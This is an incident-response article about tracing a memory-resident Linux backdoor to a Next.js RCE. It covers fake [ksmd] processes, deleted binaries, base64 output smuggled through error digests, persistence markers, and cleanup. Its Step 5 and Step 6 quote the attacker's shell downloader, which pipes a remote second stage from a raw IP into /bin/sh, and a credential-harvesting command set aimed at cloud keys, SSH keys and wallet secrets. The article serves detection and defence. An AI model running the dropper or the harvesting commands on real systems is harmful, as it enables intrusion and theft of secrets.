From Next.js RCE to a Fake [ksmd] Kernel Thread: Hunting a Linux Backdoor That Lives in Memory

A hosting account ran a mix of Next.js and PHP applications under one system user. The server's security scanner kept flagging the same Linux binary in that user's home directory every day. Each time it was removed, it came back. No web shell was found in any application. Nothing in the document roots had been modified for months.

The reason was simple: the malware was not living in the files. It was living in running processes. One of them pretended to be a kernel thread, and the other was running from a binary that had already been deleted. This article walks through how each piece was found, step by step, with the exact commands you can reuse.

🧭 What the server looked like

• Several Node.js apps (Next.js) managed by PM2, plus Laravel and plain PHP sites, all running as the same Linux user.
• Two ELF binaries in that user's home: one in the home root with a random-looking name, one hidden in ~/.config/htop/ under the name defunct.
• A user crontab that the scanner had cleaned weeks earlier.
• An odd comment line in ~/.profile.

Deleting the binaries achieved nothing. To understand why, we start with the process list.

🕵️ Step 1: Spot the fake kernel thread

Real kernel threads have three properties that a user-space process cannot fake all at once:

• they are owned by root;
• their parent is kthreadd, which is PID 2;
• they have no executable on disk, so /proc/<pid>/exe is empty.

Malware copies the name (square brackets included) because ps displays it the same way. List every bracketed process that does not belong to root:

ps -eo user,pid,ppid,lstart,args | awk 'NR==1 || ($NF ~ /^\[.*\]$/ && $1 != "root")'

On this server it returned something like:

USER     PID    PPID  STARTED                   COMMAND
                        appuser  31337  1     Sun Mar  2 04:00:00 20XX  [ksmd]
                        appuser  31338  1     Sun Mar  2 04:00:00 20XX  [ksmd]

Compare it with the real one:

ps -o user,pid,ppid,args -C ksmd
                        root     45     2     [ksmd]

Two copies of [ksmd], owned by a hosting user, with parent PID 1 (orphaned, i.e. daemonised) and a start time of exactly 04:00:00, which points to cron. That alone is enough to call it malicious.

👻 Step 2: Find processes running from deleted binaries

The second trick is older but still effective: start the binary, then delete it. The process keeps running from memory, and a file scanner has nothing left to find.

# Any process whose executable is gone, or lives in a temp directory
                        ls -l /proc/[0-9]*/exe 2>/dev/null | grep -E '\(deleted\)|/tmp/|/dev/shm/|/var/tmp/'

lrwxrwxrwx 1 appuser appuser 0 ... /proc/48210/exe -> /tmp/safenet-client (deleted)

If you have enough privileges (root or the process owner), you can still recover the binary for analysis, because the kernel keeps the inode open:

cp /proc/48210/exe /root/evidence/recovered-binary.elf
                        sha256sum /root/evidence/recovered-binary.elf

Note: /proc/<pid>/exe, /proc/<pid>/environ and /proc/<pid>/fd are readable only by the owner or root. If your account cannot read them, that is a permission limit, not a sign that the process is clean.

🧵 Step 3: Walk the parent chain to the entry point

The deleted-binary process had a useful detail: it was not orphaned. Its parent was still alive.

ps -o user,pid,ppid,lstart,args -p 48210
                        ps -o user,pid,ppid,lstart,args -p <PPID>

appuser  2190  ...  next-server (v15.x)

The parent was the next-server process of one specific Next.js app. In other words, the Node.js process of that app had spawned a shell, which spawned the implant. That narrows the investigation down from "the whole server" to "one application", and tells us exactly where to look next: that app's runtime logs.

# Map PM2 process names to ports and PIDs
                        pm2 list
                        pm2 describe <app-name> | grep -E 'pid|script path|exec cwd|error log'

📜 Step 4: Read the app's error log and decode the "digests"

PM2 writes each app's stderr to ~/.pm2/logs/<app>-error.log. In this case that file was the most valuable piece of evidence on the server. It was full of entries like these:

 ⨯ [Error: x] {
                          digest: 'd3d3LWRhdGEK'
                        }
                         ⨯ [Error: x] {
                          digest: 'L2FwcC8uZW52Cg=='
                        }

In Next.js, when a server-side function throws, the framework hides the real error from the browser and returns only a short digest value. A normal digest is a numeric hash like '3040055792'. These were base64. Decode one:

echo 'd3d3LWRhdGEK' | base64 -d
                        # www-data

That is the output of whoami. The attacker had found a way to execute commands inside the app's server-side code. To get the results back, they threw an error with the base64-encoded command output in the digest field. The value went back to the attacker in the HTTP response and was also written to the error log.

So the error log is effectively a transcript of the attack. Pull every attacker command out of it:

LOG=~/.pm2/logs/<app>-error.log

                        # Commands that failed, with the command line Node.js echoes back
                        grep -anE 'Command failed:' "$LOG" \
                          | sed -E 's/^([0-9]+):.*Command failed: /\1: /' | cut -c1-220

                        # Every base64 digest, decoded
                        grep -aoE "digest: '[A-Za-z0-9+/=]{8,}'" "$LOG" | cut -d"'" -f2 | sort -u \
                          | while read -r b; do printf '%s\n' "$b" | base64 -d 2>/dev/null; echo; done

The decoded output will contain real secrets: environment variables, keys, database URLs. Mask values before you paste them anywhere.

🧨 Step 5: Decode the dropper

One of the early log lines carried a long echo <base64> | base64 -d | sh. Decoded, it is a small but robust downloader. It tries every transport the server might have, in order:

#!/bin/sh
                        __d() {
                          local _url="$1" _hostport _host _port _path
                          _hostport=$(printf '%s' "$_url" | sed -E 's|^https?://||;s|/.*||')
                          _port=$(printf '%s' "$_hostport" | grep -o ':[0-9]*' | tr -d ':')
                          _host=$(printf '%s' "$_hostport" | sed 's|:.*||')
                          _path=/$(printf '%s' "$_url" | sed -E 's|https?://[^/]*/?||')
                          [ -z "$_host" ] && return 1
                          command -v curl    >/dev/null && curl -sSo - "$_url" && return 0
                          command -v wget    >/dev/null && wget -qO - "$_url" && return 0
                          command -v python3 >/dev/null && python3 -c "import urllib.request as u,sys; sys.stdout.buffer.write(u.urlopen('$_url').read())" && return 0
                          command -v perl    >/dev/null && {
                            perl -MHTTP::Tiny -e '...get($url)...' && return 0
                            # last resort: raw HTTP/1.0 over a TCP socket
                            perl -MIO::Socket::INET -e '...print $s "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n"...' && return 0
                          }
                        }
                        __d http://203.0.113.10 | /bin/sh

A few things stand out:

• No file is written. The second stage is piped straight into /bin/sh.
• Raw IP, plain HTTP. There is no domain to block at DNS level.
• Four fallbacks. Removing curl and wget from a container does not stop it: Python or Perl will do the job, and Perl can even speak HTTP over a bare socket.

The log also showed an ETXTBSY ("text file busy") error when the second stage tried to overwrite a binary in /tmp that was already running. That is a handy indicator: it means an implant was being replaced while it was still running.

🔑 Step 6: What the attacker was after

The decoded commands show a credential-harvesting playbook aimed at cloud and crypto projects, not at defacing a website:

# .env files in every common deploy path (Docker, Render, Azure, Lambda...)
                        test -f /app/.env; test -f /var/www/.env; test -f /home/site/wwwroot/.env
                        test -f /opt/render/project/src/.env; test -f /var/task/.env

                        # cloud and SSH keys
                        test -f ~/.aws/credentials; test -f ~/.ssh/id_rsa; cat ~/.npmrc

                        # the running process environment, filtered for valuable names
                        node -e "Object.entries(process.env).filter(x => /key|wallet|secret|token|private|rpc|seed|mnemonic|stripe|supabase|firebase|github|aws/i.test(x[0]))"

                        # container secrets, git remotes, smart-contract projects
                        cat /run/secrets/*; git -C /app remote -v
                        find / -maxdepth 5 \( -name "*.sol" -o -name "hardhat.config*" -o -name "Anchor.toml" \)

                        # then grep the collected dump for high-value formats
                        grep -iE 'AKIA|ASIA|aws_secret'                    /tmp/all.txt
                        grep -iE 'sk-ant-|sk-proj-|AIza'                   /tmp/all.txt
                        grep -iE 'postgres(ql)?://|mysql://|mongodb|redis://' /tmp/all.txt
                        grep -iE '0x[a-fA-F0-9]{64}|private[_ -]?key|mnemonic|seed[_ -]?phrase' /tmp/all.txt

The collected data was staged in small text files in /tmp (all.txt, e.txt, aws.txt, dotenv.txt…). Finding these is a strong signal that everything in that app's environment must be treated as leaked.

🧷 Step 7: The persistence layer

The [ksmd] processes were older than the Next.js activity. Their persistence followed a well-known pattern of a public reverse-shell deployment toolkit:

• a binary hidden in a dot-directory that looks harmless: ~/.config/htop/defunct;
• a line in the user's crontab that restarts it (the scanner had already removed this one);
• a marker line in ~/.profile that the installer uses to recognise its own install:

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel

The marker is only a comment and does nothing on its own, but its modification time matched the creation time of the hidden directory. That dated the first compromise months before anyone noticed. Check for it with:

grep -n 'SEED PRNG' ~/.profile ~/.bashrc ~/.bash_profile ~/.zshrc 2>/dev/null
                        stat -c '%y %n' ~/.profile ~/.config/htop 2>/dev/null
                        crontab -l 2>/dev/null | grep -vE '^\s*#'

🧹 Cleanup: the order matters

This is why deleting the files did not work. A running implant can rewrite its own binary, and a cron entry can restart it. Clean up in this order:

1. Collect evidence first: hashes, stat output, the PM2 error log, and a copy of every /proc/<pid>/exe.
2. Remove the restart mechanisms: user crontab entries, ~/.config/systemd/user/ units, and lines in ~/.profile/~/.bashrc.
3. Stop the processes (fake kernel threads and deleted-binary processes): kill -9 <pids>. On managed hosting, your SSH user may not be allowed to signal them; in that case the host or the account owner has to do it, or the server has to be restarted.
4. Delete the binaries and the /tmp staging files.
5. Update the framework of the app that spawned the shell to the latest patched release, then restart it through PM2.
6. Rotate every secret that was in that app's environment, .env files, cloud credentials and SSH keys. Harvesting was the goal of the attack, so assume all of them are leaked.
7. Re-check after a day: no bracketed non-root processes, no (deleted) executables, no new files in the home directory.

🔍 Quick detection checklist

# 1. Fake kernel threads (non-root, bracketed name)
                        ps -eo user,pid,ppid,lstart,args | awk '$NF ~ /^\[.*\]$/ && $1 != "root"'

                        # 2. Processes running from deleted or temp binaries
                        ls -l /proc/[0-9]*/exe 2>/dev/null | grep -E '\(deleted\)|/tmp/|/dev/shm/'

                        # 3. Who spawned them
                        ps -o user,pid,ppid,args -p <PPID>

                        # 4. Base64 "digests" and failed commands in Next.js / PM2 logs
                        grep -aE "digest: '[A-Za-z0-9+/=]{12,}'|Command failed:" ~/.pm2/logs/*error*.log | head

                        # 5. Persistence markers
                        grep -n 'SEED PRNG' ~/.profile ~/.bashrc 2>/dev/null; crontab -l

                        # 6. ELF binaries outside node_modules in the home directory
                        find ~ -path '*/node_modules' -prune -o -type f -size +100k -exec sh -c \
                          'head -c4 "$1" | grep -q "ELF" && echo "$1"' _ {} \; 2>/dev/null

🧪 Indicators

• Process named [ksmd] (or any [name]) owned by a non-root user, PPID 1
• ~/.config/htop/defunct
• # DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel in shell profile files
• Next.js error log entries with base64 digest values
• Shell downloader function __d() with curl → wget → python3 → perl fallbacks, piped into /bin/sh
• SHA-256 f07beb85ea77f6ff6612e8878fdf33333ec42b7c2be49f169f58246f869829fb (Go ELF backdoor, ~5.4 MB)
• SHA-256 d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa (defunct, ~2.8 MB)

❓ Frequently asked questions

How can I tell a real kernel thread from a fake one?

Real kernel threads are owned by root, their parent PID is 2 (kthreadd), and /proc/<pid>/exe points nowhere. A bracketed process owned by a normal user, or with parent PID 1, is user-space code pretending to be a kernel thread.

Why does malware come back after I delete it?

Because the process that writes it is still running, or a cron entry restarts it. Remove the restart mechanism and stop the process first, then delete the file.

Why would a Next.js error log contain base64?

Next.js replaces server errors with a short digest before sending them to the browser. Attackers who can run code on the server can throw an error with the command output in that field, so the output comes back in the HTTP response. Normal digests are numeric hashes; base64 text in a digest is a red flag.

The file scanner found nothing in my app. Am I clean?

Not necessarily. In this case no application file was modified at all: the attack ran in memory through the app's own process. Check running processes and the app's runtime logs, not just the files.